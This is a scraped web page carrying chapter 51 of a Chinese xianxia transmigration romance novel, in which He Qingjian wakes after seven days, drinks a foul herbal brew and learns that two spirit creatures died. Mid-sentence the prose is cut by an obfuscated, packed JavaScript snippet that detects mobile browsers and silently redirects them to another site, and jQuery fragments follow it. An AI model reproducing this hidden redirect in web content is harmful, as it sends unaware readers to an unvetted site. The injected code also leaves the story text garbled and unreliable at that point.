默认冷灰
24号文字
方正启体

51. 同居邀约

作者:埙予本书字数:K更新时间:
    昏昏沉沉,混混沌沌,不觉此身,不知何夕。


    再睁眼是在一个夜里。


    木质冷香幽幽,令人心生熟悉,烛光淡淡晕染视野,不算很亮,周遭景致昏蒙,瞧不分明。


    脑中乱作一团,撞击的痛、怀抱的暖、白光的烈……场景碎片般纷杂,绞缠神经,引得头部裂痛,贺青俭轻嘶一声,伸手欲扶额,却未能抬起,反惊动了握着她手小憩的人。


    “醒了?”传来顾兰年的声音,微哑,隐含倦意。


    贺青俭直着眼缓了好久的神,眼前金星散去,待房屋熟悉的布置入目,终于认出是在顾兰年房间。


    “你怎么又……唉……”未及多思,她先叹息出声。


    来顾兰年这儿能有什么事?


    有一瞬间她只当自己又被他做晕了过去。


    “……我怎么?”顾兰年木着张脸。


    观他神色并不轻松,甚至略显憔悴。


    贺青俭不由睁大眼,盯了许久他眼下乌青,记忆总算慢半拍回笼。


    “嘶——”


    她猛抽一大口凉气。


    娘娘娘娘娘娘娘娘嘞~


    这可真太!险!了!


    还能活着睁眼,实乃万幸。


    “哪疼?”顾兰年探身问。


    惊险至斯,贺青俭提心吊胆仔细体会一番。


    奇异地,全须全尾,四肢都能动。


    怔了怔,她如实答:“头有点疼,别的暂且没有。”


    她可真抗造啊!


    不愧是能顶得住跟顾兰年解蛊的人!


    听她这么说,顾兰年略放半个心:“头疼是摔的,外伤,过个几天就好了。”


    话音刚落,却听她又蹙眉轻叫一声:“哎等等——”


    “怎么?”他心又一悬。


    “鼻子也不舒服,什么味儿,这么难闻。”本来脑袋就疼得发昏,鼻子再经异臭荼毒,她险些吐出来。


    顾兰年心又又一落,转身端一碗黑褐色不明液体给她。


    这碗东西一直以灵火煨着,臭得热气腾腾。


    就见他面上总算染了丝笑意:“给你喝的,惊不惊喜?”


    贺青俭:“。”


    “那个……我身体挺好的。”


    “你昏迷了七天七夜。”顾兰年笑意尽收,冷脸强调。


    “所以呢,你查出我有问题?”


    甫一睁眼,顾兰年手指就扣在她脉搏,料想多日昏睡,他应当没少查看她情况。


    顾兰年就幽幽看着她:“你命挺大。”


    “我、南师叔、闫法斋都替你瞧过,未见异状。”他如实道。


    “那这泔水我就不喝了。”贺青俭心头一喜。


    “也行,只要你不后悔。”


    听出门道,贺青俭问:“我后悔什么?”


    “这是凉尘尸草熬煮的药汤。”顾兰年唇角笑意再度噙起,笃定她会喝。


    贺青俭也确实没令他失望,做了几息心里建设,即捏着鼻子强灌下去,一鼓作气,而后手扶床沿干呕数声,被顾兰年连喂六颗酸杏干堪堪压住。


    “如何?”他问。


    “恶心中带点酸。”贺青俭面容扭曲。


    “我问你经脉如何。”


    药汤入喉一霎,经脉中似乎有股冷意游走,但转瞬即逝。待贺青俭从呕意中回神,再感受时,奇经八脉回归一潭死水,不复先时异状。


    觉得那不寻常的感受大概是心理作用,她保守摇头。


    闻言,顾兰年眼睫微垂,但还是道:“别急,又不是毒药,总不会刚饮下就见效。”


    贺青俭耸一耸肩,人事已尽,余下尽凭天意。


    说到底,凉尘尸草有助于开灵脉也只是个传说,只是她刚好较真,这才九死一生,为其费了好一番周折。


    “所以,飞云花下真的是凉尘尸草?”她问。


    当时好不容易刺穿飞云花下那方土地,来不及看上一眼,她先失去意识。


    顾兰年颔首:“你猜得不错。”


    “不过,并非每块生长飞云花的土地都坚硬至斯,只是我们挖的那片刚好特殊。”


    一连数日,贺青俭躺得浑身发软,支棱起来坐着与他说。


    顾兰年横了个枕头给她靠,边道:“与叶师叔照面时,你有没有注意他手中法器?”


    脑中瞬时浮现那令人发毛的黑底红纹,贺青俭点头。


    “那是摧山印,可在瞬息间把一方空间平摊压实为贴地的薄薄一片。”顾兰年接着道。


    “所以……”


    知她要问什么,顾兰年颔首。


    飞云花下土地刚好处在一方平摊空间的边缘,而那方空间正是嘤嘤怪与八卦精所在的幻境。无色无形,又蒙着层结界,所以才那般难挖。


    猜测得到证实,贺青俭不由后悔:“我那一下把结界捅穿了,不会伤到里面活物吧?”


    若两只精怪真与齐英英和席小八有关,那便是两条人命,她不由担忧:“结界内部可有受损?”


    这回顾兰年沉默半晌后才道:“别瞎想,你才多大力气?不是你捅穿的。”


    他越含糊,越说明问题,贺青俭追问:“所以,她们怎么样了?”


    顾兰年轻啧一声,却也只能如实作答:“死了。”


    贺青俭呼吸一滞。


    “它们燃烧精魄,灼碎了那方幻境。”


    所以才会有那成百上千的无形刃片。


    当时不是他们刺穿了地面,而是幻境自内部破开,强悍力道不止波及了地上的他们,还震开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985329|186476||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了地下一层土。


    随着这一下,境中一切灰飞烟灭,嘤嘤怪与八卦精到底是不是齐英英和席小八、她们又为何变成了那副模样……恐怕只有白道臻知道了。


    “我师父没事吧?”


    当时情状凶险万分,他们离开时,南鹤双还一直缠在白道臻身边添堵,难免要受波及。


    “人没事,只是心情不太好。”顿了顿,顾兰年又道,“此次风波来得蹊跷,幻境碎裂后的残片只对准了师父和我,其余人仅受气浪波及。师父至今昏迷不醒,而我的劫数……你替我挡了。”


    说到这儿,铺垫已然足够,他深吸口气,终于翻起哽在喉头最想算的那笔账:“贺青俭,你不是很怕死么?当时那么凶险,为何却挡在我前面?”


    贺青俭一时哑声,她被问住了。


    为何她挡在他的前面?


    她也不知道啊!


    犹记当时,她毫无灵力护体的纤瘦身板狠狠掼在地面,脑袋着地,两眼昏花至人畜不分,哪看得清顾兰年那边情况?


    然而,在她体内却没来由地腾起股神秘力量,跋扈地主宰她的身体,她于晕头转向间被这力量驱使,猛扑上前、以身护他、失去意识一条龙走完,再睁眼便是今夜。


    “我也不想……”顾兰年这么领情,直教她汗颜,她试图解释,“我摔晕了,没注意到你那边,但不知怎么回事……”


    “行了,别编了。”顾兰年高傲地没有相信。


    贺青俭:“。”


    “你听我说,我真的……”


    “都这样了,你还嘴硬什么?”


    贺青俭:“。。”


    “以后记得,类似的事不要再做。”


    贺青俭:“。。。”


    她看起来很像什么舍己为人的圣女么?


    她是喜欢顾兰年不假,可远没喜欢到为他放弃生命的地步。


    况且同样的危险,盛名在外的顾兰年和弱得狗都敢来踩两脚的她,应该让谁去抗,难道还用想么?


    不过对于变故发生时自己的反常,她确实有所猜测:顾兰年是本书男主,男主死则世界崩塌,或许作为唯一的知情者,她体内被植入了某种危难时保护男主的机制吧。


    若真是这般,强行解释反容易暴露穿书者的身份,贺青俭闭嘴,忍辱负重地点点头,转移话题问:“为什么碎片只攻击你和好色老种……白掌门?”


    “或许知道我是他唯一的徒弟?亦或者我伤口里残余他的灵力,被错认了?”对此,顾兰年并无太强烈的探究欲。


    很显然,他对另一件事更有兴趣。


    “你昏迷期间,南师叔收拾你的东西送了过来,这段时日你留在我这儿养伤。”


    他嗓音清润,徐徐展露今夜的第三个微笑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)